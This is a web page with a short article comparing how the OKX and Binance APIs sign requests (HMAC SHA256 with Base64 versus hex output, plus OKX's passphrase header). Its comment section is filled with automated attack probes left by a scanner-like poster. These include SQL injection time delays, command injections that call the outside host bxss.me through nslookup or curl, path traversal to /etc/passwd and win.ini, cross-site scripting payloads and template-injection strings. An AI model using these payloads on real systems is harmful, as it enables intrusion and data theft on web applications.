What is the difference between OKX API and Binance API connection signature authentication?

The OKX API and Binance API differ significantly in their approach to connection signature authentication, mainly in the signature generation process, encoding method, and additional security verification.

First, the OK-ACCESS-SIGN request header generation method used by the OKX API involves combining multiple key parameters (such as timestamp, method, requestPath, body, etc.) into a single string to be signed. Subsequently, the SecretKey is used to perform HMAC SHA256 encryption on this string, and the encrypted result is output through Base-64 encoding, thus obtaining the final OK-ACCESS-SIGN request header. This method has the advantage of combining multiple parameters for signing, improving the complexity and security of the signature. The aijiebot quantitative trading bot utilizes VBA to implement the connection to the OKX API, enabling automated trading.

In contrast, the signature generation process of the Binance API is slightly different. It also employs the HMAC SHA256 algorithm, but uses the API-Secret corresponding to the API-KEY as the HMAC SHA256 key, while all other parameters serve as the operands for HMAC SHA256. After the encryption operation, the signature output is directly obtained, and the result is presented in hex format, rather than being encoded in Base-64. This approach maintains the security of the signature while also making the signature result more concise and straightforward.

Apart from the signature generation process, the OKX API also requires the inclusion of an additional OK-ACCESS-PASSPHRASE field in the request header. This is a custom string that needs to be set during the creation of the API key and must be included in the request header for each request. The addition of this field further enhances the security of the API, as it increases the difficulty for attackers to forge or tamper with requests.

In summary, the main differences between the OKX API and Binance API in terms of connection signature authentication lie in the signature generation process, encoding method, and additional security verification. These differences give each API its unique characteristics and advantages in terms of security, ease of use, and flexibility.



  admin   2024-5-12

nqhXncMU2024-7-3 2:19:13
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
nqhXncMU2024-7-3 2:19:14
'.gethostbyname(lc('hiter'.'ebpamcyp582eb.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(121).chr(82).chr(97).chr(68).'
nqhXncMU2024-7-3 2:19:14
';print(md5(31337));$a='
nqhXncMU2024-7-3 2:19:15
".gethostbyname(lc("hitzo"."xopvmklicd1cb.bxss.me."))."A".chr(67).chr(hex("58")).chr(115).chr(84).chr(121).chr(80)."
nqhXncMU2024-7-3 2:19:16
";print(md5(31337));$a="
nqhXncMU2024-7-3 2:19:18
1BZix04bQAO
nqhXncMU2024-7-3 2:19:19
!(()&&!|*|*|
nqhXncMU2024-7-3 2:19:19
Y02tMZLE
nqhXncMU2024-7-3 2:19:19
${@print(md5(31337))}
nqhXncMU2024-7-3 2:19:20
&n920842=v965874
nqhXncMU2024-7-3 2:19:21
${@print(md5(31337))}\
nqhXncMU2024-7-3 2:19:21
^(#$!@#$)(()))******
nqhXncMU2024-7-3 2:19:22
/../../../../../../../../../../windows/system32/BITSADMIN.exe
nqhXncMU2024-7-3 2:19:22
'.print(md5(31337)).'
nqhXncMU2024-7-3 2:19:25
12345'"\'\");|]*{ <>�''
nqhXncMU2024-7-3 2:19:25
${9999666+9999587}
nqhXncMU2024-7-3 2:19:27
ctime sleep p0 (I30 tp1 Rp2 .
nqhXncMU2024-7-3 2:19:28
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
nqhXncMU2024-7-3 2:19:29
response.write(9896981*9919088)
nqhXncMU2024-7-3 2:19:30
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg
nqhXncMU2024-7-3 2:19:31
'+response.write(9896981*9919088)+'
nqhXncMU2024-7-3 2:19:33
HttP://bxss.me/t/xss.html?%00
nqhXncMU2024-7-3 2:19:33
../../../../../../../../../../../../../../etc/passwd
nqhXncMU2024-7-3 2:19:33
echo zxazof$()\ uboimj\nz^xyu||a #' &echo zxazof$()\ uboimj\nz^xyu||a #|" &echo zxazof$()\ uboimj\nz^xyu||a #
nqhXncMU2024-7-3 2:19:34
Http://bxss.me/t/fit.txt
nqhXncMU2024-7-3 2:19:34
"+response.write(9896981*9919088)+"
nqhXncMU2024-7-3 2:19:36
&echo qnziur$()\ duoloi\nz^xyu||a #' &echo qnziur$()\ duoloi\nz^xyu||a #|" &echo qnziur$()\ duoloi\nz^xyu||a #
nqhXncMU2024-7-3 2:19:37
bxss.me/t/xss.html?%00
nqhXncMU2024-7-3 2:19:37
http://bxss.me/t/fit.txt?.jpg
nqhXncMU2024-7-3 2:19:37
../../../../../../../../../../../../../../windows/win.ini
nqhXncMU2024-7-3 2:19:37
'"()
nqhXncMU2024-7-3 2:19:37
"+"A".concat(70-3).concat(22*4).concat(97).concat(88).concat(109).concat(67)+(require"socket" Socket.gethostbyname("hitjx"+"vpgdlzea1b5c3.bxss.me.")[3].to_s)+"
nqhXncMU2024-7-3 2:19:40
file:///etc/passwd
nqhXncMU2024-7-3 2:19:40
/etc/shells
nqhXncMU2024-7-3 2:19:40
|echo xjnzrq$()\ hexdtr\nz^xyu||a #' |echo xjnzrq$()\ hexdtr\nz^xyu||a #|" |echo xjnzrq$()\ hexdtr\nz^xyu||a #
nqhXncMU2024-7-3 2:19:40
'+'A'.concat(70-3).concat(22*4).concat(121).concat(76).concat(103).concat(80)+(require'socket' Socket.gethostbyname('hitzt'+'wzrmealaf2767.bxss.me.')[3].to_s)+'
nqhXncMU2024-7-3 2:19:41
'&&sleep(27*1000)*kmoctw&&'
nqhXncMU2024-7-3 2:19:41
398
nqhXncMU2024-7-3 2:19:44
(nslookup -q=cname hitovtklmsezs7468e.bxss.me||curl hitovtklmsezs7468e.bxss.me))
nqhXncMU2024-7-3 2:19:44
c:/windows/win.ini
nqhXncMU2024-7-3 2:19:44
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
nqhXncMU2024-7-3 2:19:44
"&&sleep(27*1000)*rebcch&&"
nqhXncMU2024-7-3 2:19:44
398
nqhXncMU2024-7-3 2:19:45
../
nqhXncMU2024-7-3 2:19:47
bxss.me
nqhXncMU2024-7-3 2:19:48
xfs.bxss.me
nqhXncMU2024-7-3 2:19:48
398/.
nqhXncMU2024-7-3 2:19:48
'||sleep(27*1000)*usvpid||'
nqhXncMU2024-7-3 2:19:50
$(nslookup -q=cname hitvasakuyqba564f3.bxss.me||curl hitvasakuyqba564f3.bxss.me)
nqhXncMU2024-7-3 2:19:52
907818
nqhXncMU2024-7-3 2:19:54
"||sleep(27*1000)*alsxbp||"
nqhXncMU2024-7-3 2:19:55
&nslookup -q=cname hitrkiidzsfizb099d.bxss.me&'\"`0&nslookup -q=cname hitrkiidzsfizb099d.bxss.me&`'
nqhXncMU2024-7-3 2:19:55
http://xfs.bxss.me?aijiebot.com
nqhXncMU2024-7-3 2:19:56
9981180
nqhXncMU2024-7-3 2:19:59
xfs.bxss.me?aijiebot.com
nqhXncMU2024-7-3 2:20:00
&(nslookup -q=cname hitfvgayipuiy288af.bxss.me||curl hitfvgayipuiy288af.bxss.me)&'\"`0&(nslookup -q=cname hitfvgayipuiy288af.bxss.me||curl hitfvgayipuiy288af.bxss.me)&`'
nqhXncMU2024-7-3 2:20:01
//xfs.bxss.me?aijiebot.com
nqhXncMU2024-7-3 2:20:02
bfg3388<s1﹥s2ʺs3ʹhjl3388
nqhXncMU2024-7-3 2:20:04
bfgx3350��z1��z2a�bcxhjl3350
nqhXncMU2024-7-3 2:20:04
/\xfs.bxss.me?aijiebot.com
nqhXncMU2024-7-3 2:20:05
|(nslookup -q=cname hitswsrwgmsfee06ea.bxss.me||curl hitswsrwgmsfee06ea.bxss.me)
nqhXncMU2024-7-3 2:20:07
<%={{={@{#{${dfb}}%>
nqhXncMU2024-7-3 2:20:08
`(nslookup -q=cname hitgrzudgzixmace7a.bxss.me||curl hitgrzudgzixmace7a.bxss.me)`
nqhXncMU2024-7-3 2:20:13
dfb{{98991*97996}}xca
nqhXncMU2024-7-3 2:20:15
dfb{{98991*97996}}xca
nqhXncMU2024-7-3 2:20:20
dfb{98991*97996}xca
nqhXncMU2024-7-3 2:20:22
dfb${98991*97996}xca
nqhXncMU2024-7-3 2:20:29
dfb#{98991*97996}xca
nqhXncMU2024-7-3 2:20:33
dfb{#98991*97996}xca
nqhXncMU2024-7-3 2:20:39
dfb{@98991*97996}xca
nqhXncMU2024-7-3 2:20:47
dfb{{=98991*97996}}xca
nqhXncMU2024-7-3 2:20:52
dfb@(98991*97996)xca
nqhXncMU2024-7-3 2:20:59
dfb<%=98991*97996%>xca
nqhXncMU2024-7-3 2:21:05
dfb#set($x=98991*97996)${x}xca
nqhXncMU2024-7-3 2:21:09
dfb{{"abc"|title}}xca
nqhXncMU2024-7-3 2:21:14
print("dfb" . 98991*97996 . "xca");
nqhXncMU2024-7-3 2:21:18
98991*97996*98991*97996
nqhXncMU2024-7-3 2:21:22
dfb{@math key=98991 method="multiply" operand=97996/}xca
nqhXncMU2024-7-3 2:21:25
dfb{{{this}}}xca
nqhXncMU2024-7-3 2:21:29
#{98991*97996*98991*97996}
nqhXncMU2024-7-3 2:21:33
dfb#{xca}=123
nqhXncMU2024-7-3 2:21:38
dfb{{'abcd'.toUpperCase()}}xca
nqhXncMU2024-7-3 2:21:42
AAABBBCCC{{define "bla"}}bla{{end}}{{define "dfb"}}xyz{{end}}{{template "dfb"}}CCCBBBAAA
nqhXncMU2024-7-3 2:21:46
dfb{{98991*97996}}xca
nqhXncMU2024-7-3 2:21:50
dfb[[${98991*97996}]]xca
nqhXncMU2024-7-3 2:21:56
dfb__${98991*97996}__::.x
nqhXncMU2024-7-3 2:22:01
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
nqhXncMU2024-7-3 2:22:13
%0D%0A%3C%53%63%52%69%50%74%20%3E%64%75%62%67%289597%29%3C%2F%73%43%72%69%70%54%3E
nqhXncMU2024-7-3 2:22:18
\u003CScRiPt\dubg(9287)\u003C/sCripT\u003E
nqhXncMU2024-7-3 2:22:22
&lt;ScRiPt&gt;dubg(9818)&lt;/sCripT&gt;
nqhXncMU2024-7-3 2:22:29
}body{zzz:Expre/**/SSion(dubg(9091))}
nqhXncMU2024-7-3 2:26:48
en4S131B
nqhXncMU2024-7-3 2:27:07
*563*558*0
nqhXncMU2024-7-3 2:27:12
NaN+568-563-5
nqhXncMU2024-7-3 2:27:18
*198*193*0
nqhXncMU2024-7-3 2:27:21
NaN+203-198-5
nqhXncMU2024-7-3 2:27:26
*970*965*0
nqhXncMU2024-7-3 2:27:31
NaN+975-970-5
nqhXncMU2024-7-3 2:27:41
*808*803*0
nqhXncMU2024-7-3 2:27:44
NaN+813-808-5
nqhXncMU2024-7-3 2:27:49
-1 OR 2+178-178-1=0+0+0+1
nqhXncMU2024-7-3 2:27:51
-1 OR 3+178-178-1=0+0+0+1
nqhXncMU2024-7-3 2:27:54
-1 OR 3*2<(0+5+178-178)
nqhXncMU2024-7-3 2:27:56
-1 OR 3*2>(0+5+178-178)
nqhXncMU2024-7-3 2:28:15
*if(now()=sysdate(),sleep(15),0)
nqhXncMU2024-7-3 2:28:31
0'XOR( *if(now()=sysdate(),sleep(15),0))XOR'Z
nqhXncMU2024-7-3 2:28:53
0"XOR( *if(now()=sysdate(),sleep(15),0))XOR"Z
nqhXncMU2024-7-3 2:29:14
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
nqhXncMU2024-7-3 2:29:27
-1; waitfor delay '0:0:15' --
nqhXncMU2024-7-3 2:29:53
-1); waitfor delay '0:0:15' --
nqhXncMU2024-7-3 2:30:20
-1)); waitfor delay '0:0:15' --
nqhXncMU2024-7-3 2:30:34
-1 waitfor delay '0:0:15' --
nqhXncMU2024-7-3 2:30:54
1Tkfxpbx'; waitfor delay '0:0:15' --
nqhXncMU2024-7-3 2:31:09
j5Y4xHO4'); waitfor delay '0:0:15' --
nqhXncMU2024-7-3 2:31:27
swFN1Pb4')); waitfor delay '0:0:15' --
nqhXncMU2024-7-3 2:31:43
-1 OR 292=(SELECT 292 FROM PG_SLEEP(15))--
nqhXncMU2024-7-3 2:31:58
-1) OR 208=(SELECT 208 FROM PG_SLEEP(15))--
nqhXncMU2024-7-3 2:32:17
-1)) OR 345=(SELECT 345 FROM PG_SLEEP(15))--
nqhXncMU2024-7-3 2:32:32
1OzkIPaP' OR 991=(SELECT 991 FROM PG_SLEEP(15))--
nqhXncMU2024-7-3 2:32:48
6UeET9EX') OR 750=(SELECT 750 FROM PG_SLEEP(15))--
nqhXncMU2024-7-3 2:33:05
CyXGaX8D')) OR 406=(SELECT 406 FROM PG_SLEEP(15))--
nqhXncMU2024-7-3 2:33:25
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
nqhXncMU2024-7-3 2:33:39
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
nqhXncMU2024-7-3 2:33:41
����%2527%2522\'\"
nqhXncMU2024-7-3 2:33:44
@@EOpqb
nqhXncMU2024-7-3 3:19:53
9670796
nqhXncMU2024-7-3 3:20:13
bfg8642<s1﹥s2ʺs3ʹhjl8642
nqhXncMU2024-7-3 3:20:39
bfgx5996��z1��z2a�bcxhjl5996
nqhXncMU2024-7-3 3:20:59
<%={{={@{#{${dfb}}%>
nqhXncMU2024-7-3 3:21:22
1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
nqhXncMU2024-7-3 3:21:47
dfb{{98991*97996}}xca
nqhXncMU2024-7-3 3:22:14
dfb[[${98991*97996}]]xca
nqhXncMU2024-7-3 3:22:32
dfb__${98991*97996}__::.x
nqhXncMU2024-7-3 3:22:59
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
nqhXncMU2024-7-3 3:26:45
%0D%0A%3C%53%63%52%69%50%74%20%3E%43%51%74%70%289277%29%3C%2F%73%43%72%69%70%54%3E
nqhXncMU2024-7-3 3:27:12
\u003CScRiPt\CQtp(9404)\u003C/sCripT\u003E
nqhXncMU2024-7-3 3:27:25
&lt;ScRiPt&gt;CQtp(9422)&lt;/sCripT&gt;
nqhXncMU2024-7-3 3:28:32
}body{zzz:Expre/**/SSion(CQtp(9845))}
nqhXncMU2024-7-3 10:40:44
9448396
nqhXncMU2024-7-3 10:40:50
bfg8340<s1﹥s2ʺs3ʹhjl8340
nqhXncMU2024-7-3 10:40:54
bfgx9232��z1��z2a�bcxhjl9232
nqhXncMU2024-7-3 10:40:59
<%={{={@{#{${dfb}}%>
nqhXncMU2024-7-3 10:41:06
1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
nqhXncMU2024-7-3 10:41:12
dfb{{98991*97996}}xca
nqhXncMU2024-7-3 10:41:17
dfb[[${98991*97996}]]xca
nqhXncMU2024-7-3 10:41:23
dfb__${98991*97996}__::.x
nqhXncMU2024-7-3 10:41:28
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
nqhXncMU2024-7-3 10:42:27
%0D%0A%3C%53%63%52%69%50%74%20%3E%4E%6F%6C%32%289303%29%3C%2F%73%43%72%69%70%54%3E
nqhXncMU2024-7-3 10:42:31
\u003CScRiPt\Nol2(9338)\u003C/sCripT\u003E
nqhXncMU2024-7-3 10:42:36
&lt;ScRiPt&gt;Nol2(9770)&lt;/sCripT&gt;
nqhXncMU2024-7-3 10:42:58
}body{zzz:Expre/**/SSion(Nol2(9833))}
评论: